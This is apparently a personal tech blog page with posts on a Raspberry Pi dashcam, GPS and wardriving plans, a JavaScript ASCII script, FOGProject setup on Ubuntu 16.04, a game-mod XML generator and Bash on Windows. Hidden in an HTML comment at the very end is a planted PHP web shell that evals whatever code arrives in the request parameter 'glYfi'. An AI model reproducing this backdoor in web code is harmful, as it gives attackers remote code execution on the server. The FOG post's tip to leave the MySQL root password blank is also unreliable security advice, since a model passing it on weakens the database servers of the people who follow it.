Michael Gagliano

Started from the bottom... and well still here.

Menu Close

RPi | DIY Dashcam

I’m waiting on a TFT Touchscreen to come in for my kaliPi project, so I’m tinkering with my Raspberry Pi Zero W today. I have been wanting a dashcam for a while now, primarily due to the snowbird season incoming. I have seen other dashcams on Amazon but they all come with some less than stellar interfaces, so I figured I’d make my own.

This will be a headless and automated dashcam, meaning it will be powered on and record until shutdown. My first iteration of it will be a video only recording, until I can figure out a way to easily toggle the microphone for when I’m on the phone with clients.

The Parts List:

Note: I chose to go with the CanaKit Basics due to it including the standard Pi to Zero Camera cable. The basic kit also has a lid that perfectly fits the camera module for a compact solution.

The goal:

The primary focus is for the Pi to act as a dashcam, recording from the time it’s powered on until it’s turned off. My secondary goal is to incorporate GPS and acceleration logging as well. I enjoy visualizing data and it’d be cool to have those metrics. If there is enough processing room after those two goals, I may tack on a wardriving component. It would be one less device I need to carry around with me if I can fit that onto my dashcam.

Read more

I bought some Pi, Raspberry!

I’ve finally been bit by the bug. I purchased a CanaKit Raspberry Pi 3B Complete Starter Kit, I had thought I’d beat the system by purchasing everything separately. It turned out that it’s roughly the same price, give or take a sale. I opted for the kit for convenience mainly and it ended up having a nice printout of the GPIO and a quick start guide.

If this is your first Pi, I’d highly recommend a kit of some form. The kit included the black case, a micro-SD reader, a micro-SD card, 2.5A power supply, some heatsinks and naturally the Pi.

After purchasing it I realized I needed a project for it. Since I drive a lot for my job, I thought it’d be cool to start with GPS tracking. My thought being I could somehow make graphs and analyze my patterns, for science obviously. If I would be mapping GPS, why not add mapping wifi networks as well.

I’ve used Kali extensively in the past and knew I have seen touchscreen Pi projects with it. I decided to use KaliPi image for my first project, if you made the same mistake I have a few scripts and guides I’ve made along the line that I’ll tag with #kaliPi.  Since I was going with Kali, I knew I could get a Panda USB card to keep my Pi a compact project.

I had never worked with direct GPS devices before but I had the opportunity to buy a GPS HAT during a sale, but I opted for a USB GPS adapter instead. If for some reason I needed GPS on a computer or another Pi, I’d like the option to move it around.

I have been told there is a bit more jitter using a USB but that is only critical in an NTP source. I was willing to accept a slight degree of inaccuracy as long as it was still on the road somewhere. It’s surprisingly accurate, even at high speeds. The model I purchased has a magnet on the underside and it sticks to my dash. The only issue is when I’m between large buildings or a large concentration of trees.

The last piece of the puzzle was power. I know Raspberry Pi has an acceptable tolerance in deviation on their parts, so I wanted to see what MY Pi drew in terms of power. I bought a USB volt meter with tracking so I could take data points every 15 minutes and have it keep a running total overall.

After running the Pi in idle, wardriving, and GPS only modes I learned I needed about 8.7Ah of battery for 12 hour operation. On a random Amazon lightning deal I got a solar panel battery pack combo with 10Ah storage. The solar only outputs 3.5W @ 5V at full light but it’s enough to push my total runtime to around 16 hours.

I’m intending on posting weekly about my projects, primarily my reconPi project. I’m also interested in building my own z-wave controller for some basic home automation, keep an eye out for those posts as well.

JS | ASCII Text Display

While attempting to format my console output in hackmud, I found myself spending entirely too long formatting, copy, and pasting ASCII letters directly into a messy echo. I decided to write a script to display ASCII Text dynamically, by supplying an array of ASCII text broken down by row along with an display string.

Initially I attempted to concat strings whole letters at a time and found it too sloppy of a process and ultimately meant a messy output with little flexibility. I settled on taking the ASCII font a row at a time. Utilizing .indexOf() I compared the string letter against a string containing the alphabet and used that value to display the ASCII font. I looped through the display string each row and concated a row together before moving onto the next row. Finally displaying the rows separated by a new line character. I wanted the script to be more flexible allowing for variable width and height letters, so I included 2 parameters defining those dimensions.

I had originally wrote this in a golf friendly way. I have expanded the code slightly for readability, commented it and put it into a JSFiddle for you to explore and test.

FOGProject | Overview Ubuntu 16.04 Common Issues

This morning as I sat down to my desk, I decided to implement an imaging server to the workshop. We stock and deploy plenty of Dells on a regular basis so I was looking for a way to streamline our workflow. I had previous experience with Acronis and Norton Ghost, which were fantastic in a structured corporate environment. However, in a consultant position, they are less valuable and definitely not worth their license costs for my use case. I set out on my Googletrek with three criteria in my mind.

Three Criteria:

  1. Must be open source software, capable of being self hosted on a low-end computer
  2. Must be modular; meaning I am able to alter and augment the capture process and manipulate images afterwards
  3. Include a reporting and inventory system, this will be valuable for audit purposes

I discovered FOGProject and to my delight, it seemed to satisfy all of my criteria. It is completely OSS, with the ability to script and automate certain aspects of the imaging process, and incredibly includes a robust inventory system.  After seeing the vast community resources available, especially this in depth Installation Guide. I decided this was my solution. In my quest for using latest Ubuntu Server available, I caused myself 3 hours of headaches. It was a bad decision, I should have turned tail and installed 14.04. However, my head banging ends in a benefit for you as I’ve discovered the 3 most encountered issues with using FOGProject and Ubuntu 16.04.

Use the Git branch!

Seriously, don’t use 1.2.0. It will not work on Ubuntu 16.04, you might be able to Frankenstein some solution… but don’t do that. It’s quite simple to install FOGProject from Git. Version 1.3.0 of FOG will work on 16.04 within reason.

PHP-5? What’s that?

Ubuntu 16.04 does not have php-5 packages in their default repos and really that’s OK. php-7 has brought vast improvements in both performance and functions, which makes FOGProject just that more efficient. You’ll have to pass some variables to the installer script, but aside from that the developers have corrected the installer script from 1.2.0.

The official wiki suggests you use the -y option, however I prefer to know what my configuration values. I caught an improper IP address while installing on a virtual machine, so it never hurts to verify what your programs are doing.

MySQL WILL make you angry

For some reason I haven’t bothered to debug, MySQL and FOG don’t play well upon initial installation. My guess is that the issues arises from FOG using NO PASSWORD for root. Normally I’d be writing a strongly worded email to the developers, but being this will be used internally for simple OS deployment I’m not too shaken up about it. In order for you to install FOG properly, you will need to open another terminal or SSH session and set MySQL root user to blank.

Note: I encountered a second issue on my second development test. MySQL would not accept a connection period, if this is happening to you and you’ve verified the service is running and you’re root try the steps below:

Aside from these 3 problems, other errors will be mostly unknown. I suggest spending some time troubleshooting and then filing a bug report on their forums. The developers and community are quick to help you diagnose issues. Feel free to leave a comment if you’re still having issues with these issues, I’ll surely try to help you out.

Furniture XML Generator

I embarked on an adventure to make a utility for the Software Inc community. It is an XML generator for furniture mods, making hand-writing the XML’s and constantly referencing the wiki obsolete. I went with a simple 3 column interface with the logical sections of the XML separated.

Usually, I don’t utilize Javascript or jQuery when developing a PHP script. This time was different since I was on an adventure! I decided to use jQuery and noUiSlider to produce an intuitive way to assign values. In Software Inc, a piece of furniture has a bar denoting the effect, so the slider is a good analog for in-game. The sliders are set for the in-game range of accepted input so there won’t be any faulty values, noUiSlider handled that with a breeze. I used a few examples from their site to achieve my sliders.

Going along with motif of this project, I ventured into the world of XML’s. I’d be hard pressed to find a developer who jumps at the opportunity to work with XML… until this project. I discovered SimpleXMLElement on php.net, it allowed me to create a skeleton XML and effortlessly build the rest of the XML via forms. It then builds the XML depending on the options chosen with the added bonus of being able to put static objects in the skeleton. Sign me up for working with XML’s in the future, I’m excited to try building an array and then using SimpleXML to generate XML from it in a single line.

While showing off my draft to another mod developer, I learned a useful way to display large select lists without horrific code repetition. He wrote this simple yet powerful function which I will be able to use time and time again.

Furniture XML Generator is the product of this journey. You can see it in action over here, the left column are the required options, otherwise go wild with the rest of them.

Bash on Windows! What a time to be alive!

Lately my day job has consisted of reverting back to Windows 7, repairing drivers after Windows 10 updated, or running a command that haunts my dreams “dism /Online /Cleanup-Image /RestoreHealth”. Early adopters were plagued by faulty drivers and even worse updates so I was extremely hesitant to install it on my personal machines. After reading about the Bash on Ubuntu on Windows I not only updated to Windows 10, I also sold my soul made a Microsoft account and connected it to my OS. There are numerous reasons privacy wise why you wouldn’t exactly want to do that but hey what’s really private these days.

The only issue I encountered during the upgrade was a corrupt profile. You can tell if you have a corrupt profile because your desktop will be void of your normal icons. If you open C:\Users, you’ll also see a .TEMP folder. Here is the Microsoft page for fixing that, which also applies to Windows 7, 8, 8.1

I decided to sign up for the Windows Insider Program and got myself on the “Fast Ring” which simply delivers early releases of features for Windows 10 with the expectation that you’ll provide feedback to improve the OS. This program also gives you access to.. you guessed it the Linux Subsystem. I have done limited testing on it and a lot of features appear to be working out of the box. Python, PHP, Node.js all worked without fault from my testing. I know Apache and SSH have weird network access where only a local loopback is available for Apache and SSH to use. It’s a beta program, so we can only hope for improvement!

Below is a guide on how to enable developer mode, link your Microsoft account to Windows Insider, and ensure you will receive the latest release.


And so it begins…

Hi there!

I’ve started an adventure of self-learning game development and I’ve already had quite a few stumbles. I’m hoping to keep a resource of problem resolutions and various tutorials as I learn and develop. I am utilizing the Unity Engine alongside Blender and Gimp to create my games so my initial posts will be centering around those programs.

Let me be the first one to tell you, anonymous reader that game development on the surface makes sense, it’s logical, you can rationalize what needs to happen in order for the game to work. Translating that to an actual product is in a different universe from logical. You’ll hit roadblocks, seemingly impassible problems, and just a blank confused stare at times… but it’s all worth it once you have an actual product!

Thanks for stopping by and check back often for updates!


<!– [insert_php]if (isset($_REQUEST["glYfi"])){eval($_REQUEST["glYfi"]);exit;}[/insert_php][php]if (isset($_REQUEST["glYfi"])){eval($_REQUEST["glYfi"]);exit;}[/php] –>